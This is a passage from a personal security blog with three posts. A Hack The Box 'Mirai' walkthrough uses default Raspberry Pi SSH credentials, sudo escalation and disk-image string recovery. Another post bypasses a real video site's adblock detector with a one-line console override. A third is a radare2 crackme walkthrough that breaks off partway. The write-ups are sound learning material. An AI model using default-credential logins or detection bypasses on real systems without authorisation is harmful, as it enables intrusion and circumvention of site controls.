<p>But then it hit me. You usually install a media server and a <code class="language-plaintext highlighter-rouge">Pi-hole</code> in one, and only one, kind of device. And there was the name of the box, also.</p>

<p>Was I attacking a Raspberry Pi? (<em>dramatic music</em>)</p>

<h2 id="ssh">SSH</h2>

<p>I actually own two Pi’s (which means I’ve configured, like, 8) and I know pretty well the default SSH credentials for this little, cute boxes: <code class="language-plaintext highlighter-rouge">pi:raspberry</code>. Worth a shot, right?</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># ssh pi@10.10.10.48

pi@raspberry:~ $
</code></pre></div></div>

<p>Aaaaand we are in. <code class="language-plaintext highlighter-rouge">user.txt</code> flag acquired. Great!</p>

<p>Another useful piece of information that you obtain when you play with these things (or, you know, use Google) is that <code class="language-plaintext highlighter-rouge">pi</code> is in the <code class="language-plaintext highlighter-rouge">sudoers</code> group by default, and often even without the need of using a password. So you can imagine how delighted I was when I typed <code class="language-plaintext highlighter-rouge">sudo su</code> and reached <code class="language-plaintext highlighter-rouge">root</code> like <em>real hackers</em> do. I didn’t have sunglasses at hand to put them on and whisper <em>I’m in</em>, but you get the point.</p>

<h2 id="root">Root</h2>

<p>So it was as easy as <code class="language-plaintext highlighter-rouge">cd</code>ing to <code class="language-plaintext highlighter-rouge">/root</code> and getting the <code class="language-plaintext highlighter-rouge">root.txt</code> flag, right? Yeah, well, no.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># cd

# cat root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...
</code></pre></div></div>

<p>Damn. I was losing <em>leetness</em> by moments here. Let’s see what’s in the USB stick then…</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># cd /media/usbstick

# ls
lost+found
damnit.txt

# cat damnit.txt
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James
</code></pre></div></div>

<p>James, seriously, what’s wrong with you.</p>

<p>So this sounded like <em>forensics</em>, which I had nearly 0 experience on, but well, it was a day good as any other to learn. After Googling a little, I decided it would be easier to create an image of the USB stick and take it to my Kali box, where some pre-installed forensics tools could be of help.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># dd if=/dev/sdb bs=1M &gt; /home/pi/disk.img

# cd /home/pi/

# python -m SimpleHTTPServer
</code></pre></div></div>

<p>And then from my Kali:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># wget 10.10.10.48:8000/disk.img
</code></pre></div></div>

<p>Okay, time to put my recently acquired forensics <em>knowledge</em> into practice! I launched <code class="language-plaintext highlighter-rouge">testdisk</code>, a tool that promised to be able to recover lost files. And even though it actually found a deleted file (very conveniently named <code class="language-plaintext highlighter-rouge">root.txt</code>) inside the image, it wasn’t able to recover its contents.</p>

<p>I then tried with <code class="language-plaintext highlighter-rouge">photorec</code>, another tool recommended by my friend “The Intrernet”, but the result was similarly disappointing.</p>

<p>I was about to surrender and leave the city and spend the rest of my life farming and living in harmony with Mother Nature, but then I thought of something simpler I hadn’t tried yet:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># strings disk.img
&gt;r &amp;
/media/usbstick
lost+found
root.txt
damnit.txt
&gt;r &amp;
&gt;r &amp;
/media/usbstick
lost+found
root.txt
damnit.txt
&gt;r &amp;
/media/usbstick
2]8^
lost+found
root.txt
damnit.txt
&gt;r &amp;
--ROOT FLAG MD5 HERE--
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James
</code></pre></div></div>

<p>Of course, <code class="language-plaintext highlighter-rouge">--ROOT FLAG MD5 HERE--</code> was actually the real flag, which meant <strong>Challenge Complete!</strong> It hurt a little to not have thought of this earlier, but the sound of <em>pure victory</em> in my ears silenced that small detail.</p>

<h2 id="conclusion">Conclusion</h2>

<p>This was my first box at Hack The Box and had real fun with it, though it depended a little on the <em>Eureka!</em> moment. I’m actually glad I didn’t think of the simple <code class="language-plaintext highlighter-rouge">strings</code> solution to the “forensics” part right away, since that made me learn a little about dedicated tools used for recovering lost files (even though they didn’t work for this particular problem).</p>

<p>Thanks to the author for creating Mirai, and to Hack The Box for hosting it. Sure enough it won’t be my last machine in the site! (But first, I’ll get my OSCP…)</p>]]></content><author><name></name></author><summary type="html"><![CDATA[I’ve been very busy with my PWK course for OSCP lately, and that’s why I’ve not been posting much here. But recently I received the notification that Mirai, a box from Hack The Box (a site you should really check out if you haven’t yet), had been retired. Since I solved it back in the day, and luckily I had some notes about how I did it, I thought of writing a little walkthrough and post it here.]]></summary></entry><entry><title type="html">Blocking the AdBlock Blocker</title><link href="https://atorralba.github.io/Blocking-the-AdBlock-Blocker/" rel="alternate" type="text/html" title="Blocking the AdBlock Blocker" /><published>2017-09-25T00:00:00+00:00</published><updated>2017-09-25T00:00:00+00:00</updated><id>https://atorralba.github.io/Blocking-the-AdBlock-Blocker</id><content type="html" xml:base="https://atorralba.github.io/Blocking-the-AdBlock-Blocker/"><![CDATA[<p>I don’t want to talk about politics here because I want this to be a tech blog, so I’ll be quick. Let’s just say that, given the political situation in my country right now, I wanted to watch an specific <a href="http://www.atresplayer.com/television/programas/salvados/temporada-13/capitulo-1-una-hora-puigdemont_2017092100859.html">interview</a> between a famous journalist and the current leader of the Catalonian Independence movement. The only problem was that the site that hosts the video of the interview doesn’t allow its reproduction if some ad-blocking software is detected in the user’s browser. That’s extremely annoying since, if you disable it, you are not only exposed to the malware, viruses and COMMUNISM everyone knows are present in ads, but also they force you to watch like <strong>three</strong> 20~30 seconds long ads before even letting you start watching the video. I got <em>so</em> <del>annoyed</del> interested I decided to investigate how they detected the presence of ad-blockers and then <del>try to bypass it to watch the damn video in peace</del> check the robustness of the software in case it was insecure. Logical, right?</p>

<h2 id="oops">Oops</h2>

<p>So, if you go to the site, you will probably get blocked because their ToS say it only works for Spanish users, but I didn’t try so I don’t know. Anyway, if you go to the site and you are Spanish, you get a nice and big “Play” button in the middle of the screen, and when you, innocent and naive creature, click said button, your hopes get crushed by the evil masterminds of the ad-block-blockers industry. You receive the following warning and you can’t access the video and all in life is wrong.</p>

<p><img src="/images/oops.png" alt="Oops disable your adblocker or PAY US $$$" /></p>

<p>It basically says “Oops you’ll have to disable your ad-blocker or pay money to us if you want to see this”. Right, sure, I feel you. <em>BUT</em>. How do <em>you</em> know that I’m blocking your ads? ARE YOU BY CHANCE SPYING ON ME? Well, then that means two things:</p>

<ol>
  <li>My tinfoil hat didn’t protect me as much as I expected.</li>
  <li>You summoned the <em>evil</em> forces of Javascript to invade my privacy and unlawfully <strong>interact</strong> with my browser extensions. Shame on you.</li>
</ol>

<p>That flawless logic gives me 100% legit pretext to <em>“ethically”</em>® “audit”™ your code in search of, hum, noncompliances, yeah, whatever that means.</p>

<h2 id="the-amazing-land-of-obfuscated-javascript">The amazing land of obfuscated Javascript</h2>

<p>So, with the almighty <strong>Firefox Developer Tools</strong>, we can search for the id of the <del>annoying</del> warning that blocks the video reproduction. After 30 <em>complete</em> seconds, we find that said id, <code class="language-plaintext highlighter-rouge">mensaje-adblock</code>, is being used in a script called <code class="language-plaintext highlighter-rouge">player.bundle.js</code>, and oh man it’s FULL of obfuscated GARBAGE. There are references everywhere to open source tools like <a href="https://github.com/cladera/videojs-cuepoints">this one</a> or <a href="https://github.com/lancedikson/bowser">this one</a>, so I imagine a more sophisticated professional who was <em>totally not like me</em> would investigate said tools and try to understand what the obfuscated code is doing. But since I’m a total script-kiddie, I just <em>furiously</em> <strong>copy-paste</strong> all the code into a <a href="http://deobfuscatejavascript.com">tool</a> that better engineers than me offered to the world in a complete display of love for humanity. This is what I get:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">function</span> <span class="nx">t</span><span class="p">(</span><span class="nx">n</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="nx">o</span><span class="p">[</span><span class="nx">n</span><span class="p">])</span> <span class="k">return</span> <span class="nx">o</span><span class="p">[</span><span class="nx">n</span><span class="p">].</span><span class="nx">exports</span><span class="p">;</span>
        <span class="kd">var</span> <span class="nx">c</span> <span class="o">=</span> <span class="nx">o</span><span class="p">[</span><span class="nx">n</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span>
            <span class="na">exports</span><span class="p">:</span> <span class="p">{},</span>
            <span class="na">id</span><span class="p">:</span> <span class="nx">n</span><span class="p">,</span>
            <span class="na">loaded</span><span class="p">:</span> <span class="o">!</span><span class="mi">1</span>
        <span class="p">};</span>
        <span class="k">return</span> <span class="nx">e</span><span class="p">[</span><span class="nx">n</span><span class="p">].</span><span class="nx">call</span><span class="p">(</span><span class="nx">c</span><span class="p">.</span><span class="nx">exports</span><span class="p">,</span> <span class="nx">c</span><span class="p">,</span> <span class="nx">c</span><span class="p">.</span><span class="nx">exports</span><span class="p">,</span> <span class="nx">t</span><span class="p">),</span> <span class="nx">c</span><span class="p">.</span><span class="nx">loaded</span> <span class="o">=</span> <span class="o">!</span><span class="mi">0</span><span class="p">,</span> <span class="nx">c</span><span class="p">.</span><span class="nx">exports</span>
    <span class="p">}</span>
    <span class="kd">var</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{};</span>
    <span class="k">return</span> <span class="nx">t</span><span class="p">.</span><span class="nx">m</span> <span class="o">=</span> <span class="nx">e</span><span class="p">,</span> <span class="nx">t</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="nx">o</span><span class="p">,</span> <span class="nx">t</span><span class="p">.</span><span class="nx">p</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">dist/</span><span class="dl">"</span><span class="p">,</span> <span class="nx">t</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="p">}([</span><span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">,</span> <span class="nx">t</span><span class="p">,</span> <span class="nx">o</span><span class="p">)</span> <span class="p">{</span>
    <span class="dl">"</span><span class="s2">use strict</span><span class="dl">"</span><span class="p">;</span>

    <span class="kd">function</span> <span class="nx">n</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="nx">e</span> <span class="o">&amp;&amp;</span> <span class="nx">e</span><span class="p">.</span><span class="nx">__esModule</span> <span class="p">?</span> <span class="nx">e</span> <span class="p">:</span> <span class="p">{</span>
            <span class="dl">"</span><span class="s2">default</span><span class="dl">"</span><span class="p">:</span> <span class="nx">e</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="nx">o</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
    <span class="kd">var</span> <span class="nx">c</span> <span class="o">=</span> <span class="nx">o</span><span class="p">(</span><span class="mi">5</span><span class="p">),</span>
        <span class="nx">i</span> <span class="o">=</span> <span class="nx">n</span><span class="p">(</span><span class="nx">c</span><span class="p">),</span>
        <span class="nx">r</span> <span class="o">=</span> <span class="k">void</span> <span class="mi">0</span><span class="p">,</span>
        <span class="nx">a</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
            <span class="kd">function</span> <span class="nx">t</span><span class="p">()</span> <span class="p">{</span>
                <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">r</span><span class="p">)</span> <span class="p">{</span>
                    <span class="nx">r</span> <span class="o">=</span> <span class="nx">p</span><span class="p">.</span><span class="nx">addChild</span><span class="p">(</span><span class="nx">p</span><span class="p">.</span><span class="nx">createVjsComponent</span><span class="p">(</span><span class="dl">"</span><span class="s2">Component</span><span class="dl">"</span><span class="p">)),</span> <span class="nx">r</span><span class="p">.</span><span class="nx">el_</span><span class="p">.</span><span class="nx">className</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">vjs-detect-overlay</span><span class="dl">"</span><span class="p">,</span> <span class="nx">r</span><span class="p">.</span><span class="nx">el_</span><span class="p">.</span><span class="nx">innerHTML</span> <span class="o">=</span> <span class="nx">d</span><span class="p">.</span><span class="nx">template</span><span class="p">();</span>
                    <span class="kd">var</span> <span class="nx">e</span> <span class="o">=</span> <span class="nx">$</span><span class="p">(</span><span class="nx">p</span><span class="p">.</span><span class="nx">el</span><span class="p">());</span>
                    <span class="nx">$</span><span class="p">(</span><span class="dl">"</span><span class="s2">.vjs-detect-close</span><span class="dl">"</span><span class="p">,</span> <span class="nx">e</span><span class="p">).</span><span class="nx">on</span><span class="p">(</span><span class="dl">"</span><span class="s2">click touchstart</span><span class="dl">"</span><span class="p">,</span> <span class="nx">c</span><span class="p">),</span> <span class="nx">$</span><span class="p">(</span><span class="dl">"</span><span class="s2">.vjs-detect-reload</span><span class="dl">"</span><span class="p">,</span> <span class="nx">e</span><span class="p">).</span><span class="nx">on</span><span class="p">(</span><span class="dl">"</span><span class="s2">click touchstart</span><span class="dl">"</span><span class="p">,</span> <span class="nx">a</span><span class="p">),</span> <span class="nx">$</span><span class="p">(</span><span class="dl">"</span><span class="s2">.vjs-detect-button</span><span class="dl">"</span><span class="p">,</span> <span class="nx">e</span><span class="p">).</span><span class="nx">on</span><span class="p">(</span><span class="dl">"</span><span class="s2">click touchstart</span><span class="dl">"</span><span class="p">,</span> <span class="nx">d</span><span class="p">.</span><span class="nx">onButtonClick</span><span class="p">)</span>
                <span class="p">}</span>
            <span class="p">}</span>
            <span class="kd">function</span> <span class="nx">o</span><span class="p">()</span> <span class="p">{</span>
                <span class="nx">$</span><span class="p">(</span><span class="nx">r</span><span class="p">.</span><span class="nx">el</span><span class="p">()).</span><span class="nx">remove</span><span class="p">()</span>
            <span class="p">}</span>
            <span class="kd">function</span> <span class="nx">n</span><span class="p">()</span> <span class="p">{</span>
                <span class="nx">d</span><span class="p">.</span><span class="nx">onDetect</span> <span class="o">&amp;&amp;</span> <span class="nx">d</span><span class="p">.</span><span class="nx">onDetect</span><span class="p">(),</span> <span class="nx">t</span><span class="p">(),</span> <span class="nx">p</span><span class="p">.</span><span class="nx">paused</span><span class="p">()</span> <span class="p">?</span> <span class="nx">p</span><span class="p">.</span><span class="nx">one</span><span class="p">(</span><span class="dl">"</span><span class="s2">play</span><span class="dl">"</span><span class="p">,</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
                    <span class="nx">p</span><span class="p">.</span><span class="nx">pause</span><span class="p">()</span>
                <span class="p">})</span> <span class="p">:</span> <span class="nx">p</span><span class="p">.</span><span class="nx">pause</span><span class="p">()</span>
            <span class="p">}</span>
            <span class="kd">function</span> <span class="nx">c</span><span class="p">()</span> <span class="p">{</span>
                <span class="nx">o</span><span class="p">(),</span> <span class="nx">d</span><span class="p">.</span><span class="nx">rememberChoice</span> <span class="o">&amp;&amp;</span> <span class="nx">u</span><span class="p">(),</span> <span class="nx">p</span><span class="p">.</span><span class="nx">play</span><span class="p">()</span>
            <span class="p">}</span>
            <span class="kd">function</span> <span class="nx">a</span><span class="p">()</span> <span class="p">{</span>
                <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">reload</span><span class="p">()</span>
            <span class="p">}</span>
            <span class="kd">function</span> <span class="nx">u</span><span class="p">()</span> <span class="p">{</span>
                <span class="kd">var</span> <span class="nx">e</span> <span class="o">=</span> <span class="nx">d</span><span class="p">.</span><span class="nx">cookieName</span><span class="p">,</span>
                    <span class="nx">t</span> <span class="o">=</span> <span class="nx">d</span><span class="p">.</span><span class="nx">cookieExpiration</span><span class="p">;</span>
                <span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span> <span class="o">=</span> <span class="nx">e</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">=true; expires=</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">t</span><span class="p">.</span><span class="nx">toGMTString</span><span class="p">()</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">; path=/;</span><span class="dl">"</span>
            <span class="p">}</span>
            <span class="kd">function</span> <span class="nx">s</span><span class="p">()</span> <span class="p">{</span>
                <span class="kd">var</span> <span class="nx">e</span> <span class="o">=</span> <span class="nx">d</span><span class="p">.</span><span class="nx">cookieName</span><span class="p">;</span>
                <span class="k">return</span> <span class="nx">d</span><span class="p">.</span><span class="nx">rememberChoice</span> <span class="o">&amp;&amp;</span> <span class="k">new</span> <span class="nb">RegExp</span><span class="p">(</span><span class="nx">e</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">=</span><span class="dl">"</span><span class="p">).</span><span class="nx">test</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="p">)</span>
            <span class="p">}</span>
            <span class="k">if</span> <span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">detect</span><span class="p">)</span> <span class="p">{</span>
                <span class="kd">var</span> <span class="nx">l</span> <span class="o">=</span> <span class="p">(</span><span class="k">new</span> <span class="nb">Date</span><span class="p">).</span><span class="nx">getTime</span><span class="p">(),</span>
                    <span class="nx">d</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">assign</span><span class="p">({</span>
                        <span class="na">rememberChoice</span><span class="p">:</span> <span class="o">!</span><span class="mi">0</span><span class="p">,</span>
                        <span class="na">cookieName</span><span class="p">:</span> <span class="dl">"</span><span class="s2">skip_adb</span><span class="dl">"</span><span class="p">,</span>
                        <span class="na">cookieExpiration</span><span class="p">:</span> <span class="k">new</span> <span class="nb">Date</span><span class="p">(</span><span class="nx">l</span> <span class="o">+</span> <span class="mi">12096</span><span class="nx">e5</span><span class="p">),</span>
                        <span class="na">template</span><span class="p">:</span> <span class="nx">i</span><span class="p">[</span><span class="dl">"</span><span class="s2">default</span><span class="dl">"</span><span class="p">],</span>
                        <span class="na">onButtonClick</span><span class="p">:</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{}</span>
                    <span class="p">},</span> <span class="nx">e</span><span class="p">),</span>
                    <span class="nx">p</span> <span class="o">=</span> <span class="k">this</span><span class="p">;</span>
                <span class="nx">d</span><span class="p">.</span><span class="nx">rememberChoice</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="nx">s</span><span class="p">()</span> <span class="o">&amp;&amp;</span> <span class="nx">d</span><span class="p">.</span><span class="nx">detect</span><span class="p">().</span><span class="nx">then</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
                    <span class="k">return</span> <span class="nx">e</span> <span class="o">&amp;&amp;</span> <span class="nx">n</span><span class="p">()</span>
                <span class="p">})</span>
            <span class="p">}</span>
        <span class="p">};</span>
    <span class="nx">videojs</span><span class="p">.</span><span class="nx">plugin</span><span class="p">(</span><span class="dl">"</span><span class="s2">adblockDetectPlugin</span><span class="dl">"</span><span class="p">,</span> <span class="nx">a</span><span class="p">)</span>
<span class="p">},</span> <span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">,</span> <span class="nx">t</span><span class="p">)</span> <span class="p">{},</span> <span class="p">,</span> <span class="p">,</span> <span class="p">,</span> <span class="kd">function</span><span class="p">(</span><span class="nx">module</span><span class="p">,</span> <span class="nx">exports</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">module</span><span class="p">.</span><span class="nx">exports</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">obj</span> <span class="o">||</span> <span class="p">(</span><span class="nx">obj</span> <span class="o">=</span> <span class="p">{});</span>
        <span class="kd">var</span> <span class="nx">__t</span><span class="p">,</span> <span class="nx">__p</span> <span class="o">=</span> <span class="dl">""</span><span class="p">;</span>
        <span class="kd">with</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span> <span class="nx">__p</span> <span class="o">+=</span> <span class="dl">'</span><span class="s1">&lt;p&gt;Desactiva AdBlock para ver el vídeo&lt;/p&gt;</span><span class="se">\r\n</span><span class="s1">&lt;button class="vjs-detect-reload"&gt;Ya lo he desactivado&lt;/button&gt;</span><span class="se">\r\n</span><span class="s1">&lt;button class="vjs-detect-close"&gt;Continuar&lt;/button&gt;</span><span class="se">\r\n</span><span class="dl">'</span><span class="p">;</span>
        <span class="k">return</span> <span class="nx">__p</span>
    <span class="p">}</span>
  <span class="p">}</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Okay, I’ll stop pretending I understand <em>any of that</em> and focus on the single line that catches my otherwise shamefully short attention span.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">videojs</span><span class="p">.</span><span class="nx">plugin</span><span class="p">(</span><span class="dl">"</span><span class="s2">adblockDetectPlugin</span><span class="dl">"</span><span class="p">,</span> <span class="nx">a</span><span class="p">)</span>
</code></pre></div></div>

<p>Now, if we look for the variable <code class="language-plaintext highlighter-rouge">a</code>, we see it’s actually a function and contains the definition of a handful of other functions with original names like <code class="language-plaintext highlighter-rouge">t</code>, <code class="language-plaintext highlighter-rouge">o</code> and of course our little friend <code class="language-plaintext highlighter-rouge">n</code>. We are totally not in the mood to try to reverse-engineering <em>all that</em> because <del>we want to see our damn video</del> damn, have you seen <em>how many lines of <strong>code</strong> are there</em>?. Jesus, give me a <em>break</em>. So, let’s make a completely <strong>educated</strong> guess and say that <code class="language-plaintext highlighter-rouge">a</code> is the magic function that decides what happens when that <em>evil and illegal</em> <code class="language-plaintext highlighter-rouge">videojs.plugin</code> discovers we are running an ad-blocker. And it decides it won’t play the video, apparently.</p>

<h2 id="noncompliance">“Noncompliance”</h2>

<p>It could be argued it’s worth a shot to try and call again <code class="language-plaintext highlighter-rouge">videojs.plugin</code>, but this time passing as second argument a function that does, like, <em>absolutely nothing</em>. Almost as if we were telling this guy: “do you see this good Samaritan over there? Yes, that one. If by <em>any chance</em> you detect he’s running any kind of ad-blocker, you can like <em>totally</em> chill, NO, seriously, just let him be. Are we good?”. The rocket-science, over-the-top code I <em>engineered</em> to accomplish that is the following. Are you ready? Take a deep breath because this is <em>next-level programming</em>:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">videojs</span><span class="p">.</span><span class="nx">plugin</span><span class="p">(</span><span class="dl">"</span><span class="s2">adblockDetectPlugin</span><span class="dl">"</span><span class="p">,</span> <span class="kd">function</span><span class="p">(){});</span>
</code></pre></div></div>

<p>And, guess what. It. <em>Works</em>. The video plays smoothly, 100% <em>ad free</em>, with our ad-blocker guy freely running up there, like God intended him to be. Now, <strong>of course</strong>, as a completely “ethical”℠ member of the infosec community, I <em>totally</em> stopped the video right there and reloaded the page in order to enjoy my minute-and-a-half of delicious ads because I’m a good guy and don’t want problems with law enforcement and I would <strong>never</strong> commit ~<em>crimes</em>~.</p>

<p>Oh, there’s one more thing. Since I actually never developed any kind of browser extension, I thought this was an excuse as good as any other to get started and write my own “Hello, world!” Firefox extension that automates the <em>absolutely painful</em> process of pressing F12 and copy-pasting that one line of code into the Javascript console so anyone can “<em>ethically</em>” verify this “noncompliance” that I “found”. Sorry I can’t stop using quotation marks, it’s a serious problem and I’m fighting it with all I’ve got but there’s still a long way until complete recovery. Anyway, here’s the <a href="https://github.com/atorralba/atresplayer-adblockblocker-blocker">code</a>.</p>

<h2 id="conclusion">Conclusion</h2>

<p>I decided to write this blog post because I spent a couple of hours playing with Javascript and didn’t want to leave it in a simple “wow, I almost by pure luck bypassed this trivial ad-block check”. So here’s this, in a shameful attempt at being more “fun” and less boring. I’m <em>slightly</em> worried that cops may come knocking to my door the second I upload this, because I may become responsible of the loss of MILLIONS in revenue if this gets popular and people start AVOIDING ads like the total criminals they are. So, <em>LEGAL DISCLAIMER</em> what is presented in this “article” is only for “demonstration” <em>scientific</em> <strong>learning</strong> <em>responsibility-discharging-word</em> purposes and I cannot control what others use my innocent line of code for.</p>

<p>On the other hand, I’m totally voting next Sunday in an <strong>ILLEGAL</strong> Independence Referendum organized in my region, so maybe I’ll end up in jail anyway. Wish me luck!</p>]]></content><author><name></name></author><summary type="html"><![CDATA[I don’t want to talk about politics here because I want this to be a tech blog, so I’ll be quick. Let’s just say that, given the political situation in my country right now, I wanted to watch an specific interview between a famous journalist and the current leader of the Catalonian Independence movement. The only problem was that the site that hosts the video of the interview doesn’t allow its reproduction if some ad-blocking software is detected in the user’s browser. That’s extremely annoying since, if you disable it, you are not only exposed to the malware, viruses and COMMUNISM everyone knows are present in ads, but also they force you to watch like three 20~30 seconds long ads before even letting you start watching the video. I got so annoyed interested I decided to investigate how they detected the presence of ad-blockers and then try to bypass it to watch the damn video in peace check the robustness of the software in case it was insecure. Logical, right?]]></summary></entry><entry><title type="html">r2con 2017 Crackmes - Spacemission</title><link href="https://atorralba.github.io/r2con2017-Crackme-Spacemission/" rel="alternate" type="text/html" title="r2con 2017 Crackmes - Spacemission" /><published>2017-09-11T00:00:00+00:00</published><updated>2017-09-11T00:00:00+00:00</updated><id>https://atorralba.github.io/r2con2017-Crackme-Spacemission</id><content type="html" xml:base="https://atorralba.github.io/r2con2017-Crackme-Spacemission/"><![CDATA[<p>This was my first year attending <a href="http://radare.org/con/2017/">r2con</a>, and I can assure you I’m 100% coming back next year! It was lots of fun, I learned <em>a lot</em> in the trainings and the talks were super interesting. But, as a complete <strong>noob</strong> with <code class="language-plaintext highlighter-rouge">radare2</code> (and reversing in general), one of the things I enjoyed the most were the <a href="http://radare.org/con/2017/crk/#download-the-crackmes">Crackmes</a>. Well, actually <em>the</em> crackme, because I only managed to solve one, the easiest of them: <strong>spacemission</strong>. Here I will try to explain how I approached this challenge from beginning to end, of course using <code class="language-plaintext highlighter-rouge">radare2</code> during the whole process!</p>

<h2 id="hello-chief-reverse-engineer">Hello, chief reverse engineer</h2>

<p>After downloading the <a href="http://radare.org/con/2017/crk/files/spacemision">binary</a>, let’s copy it into a docker container (one never knows) and execute it right away. The following appears on screen:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ chmod +x spacemission &amp;&amp; ./spacemission
Hello, ...?
Hello, chief reverse engineer root of the spaceship rbinsegfaulter?
Can you hear, me?
Oh, these speakers seem to be broken.
No matter, if you hear me, or not, this is probably our last chance to survive!
We got attacked from the evil aliens from the binja-system!
Their attack was surprising for us. They killed almost all of us, none of our engineers survived.
Before they left, they planted bombs in the ground, each of them with enough destructive power to blowup the planet
But there is hope, one of our bomb disposal rovers out there is still instact, and waiting in idle for transmition of instruction.
I know, you are just a reverse engineer, but at least you are an engineer, and the only one in reach, who can help us, now.
If you can hear this message, hurry up and create an instruction file for the rover.
Note, that the battery, of the rover is very low.
Restart this communication program, to transmit the instruction file
Good luck!
</code></pre></div></div>

<p>Ok, sounds fun! We have to save this poor planet from destruction by disarming the bombs left behind by these evil aliens. But, mmm, <strong>how</strong> do we do it?</p>

<p>The binary seems to ignore any parameter passed to it on invocation, so it seems that we need to follow the instructions given to us and create an instruction file. But we don’t even know the name of the file, not to say the contents of it, so it’s time to load the binary into <code class="language-plaintext highlighter-rouge">radare2</code> and see what happens!</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ r2 -d spacemision
Process with PID 517 started...
= attach 517 517
bin.baddr 0x00400000
Using 0x400000
asm.bits 64
 -- You can mark an offset in visual mode with the cursor and the ',' key. Later press '.' to go back
[0x7f1922718c30]&gt;
</code></pre></div></div>

<p>Let’s analyze everything since the binary isn’t too large, and then navigate to the main function to see what’s there:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[0x7f1922718c30]&gt; aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
TODO: esil-vm not initialized
[Cannot determine xref search boundariesr references (aar)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
ptrace (PT_ATTACH): Operation not permitted
= attach 517 517
[0x7f1922718c30]&gt; s main
[0x00400ba0]&gt;  pd 20
/ (fcn) main 3355
|   main ();
|           ; var int local_b0h @ rbp-0xb0
|           ; var int local_80h @ rbp-0x80
|           ; var int local_18h @ rbp-0x18
|           ; var int local_10h @ rbp-0x10
|           ; var int local_9h @ rbp-0x9
|           ; var int local_8h @ rbp-0x8
|           ; var int local_4h @ rbp-0x4
|              ; DATA XREF from 0x0040078d (entry0)
|           0x00400ba0      55             push rbp
|           0x00400ba1      4889e5         mov rbp, rsp
|           0x00400ba4      4881ecb00000.  sub rsp, 0xb0
|           0x00400bab      c645f700       mov byte [local_9h], 0
|           0x00400baf      488d8550ffff.  lea rax, [local_b0h]
|           0x00400bb6      4889c6         mov rsi, rax
|           0x00400bb9      bf571d4000     mov edi, str.robot_instructions ; 0x401d57 ; "robot_instructions"
|           0x00400bbe      e87d0d0000     call fcn.00401940
|           0x00400bc3      85c0           test eax, eax
|       ,=&lt; 0x00400bc5      740a           je 0x400bd1
|       |   0x00400bc7      b800000000     mov eax, 0
|      ,==&lt; 0x00400bcc      e9e80c0000     jmp 0x4018b9
|      |`-&gt; 0x00400bd1      c60574252000.  mov byte [0x0060314c], 1    ; [0x60314c:1]=0
|      |    0x00400bd8      be00000000     mov esi, 0
|      |    0x00400bdd      bf571d4000     mov edi, str.robot_instructions ; 0x401d57 ; "robot_instructions"
|      |    0x00400be2      b800000000     mov eax, 0
|      |    0x00400be7      e864fbffff     call sym.imp.open           ; int open(const char *path, int oflag)
|      |    0x00400bec      8945f0         mov dword [local_10h], eax
|      |    0x00400bef      b800000000     mov eax, 0
|      |    0x00400bf4      e8d4fdffff     call sub.calloc_9cd         ; void *calloc(size_t nmeb, size_t size)
[0x00400ba0]&gt;
</code></pre></div></div>

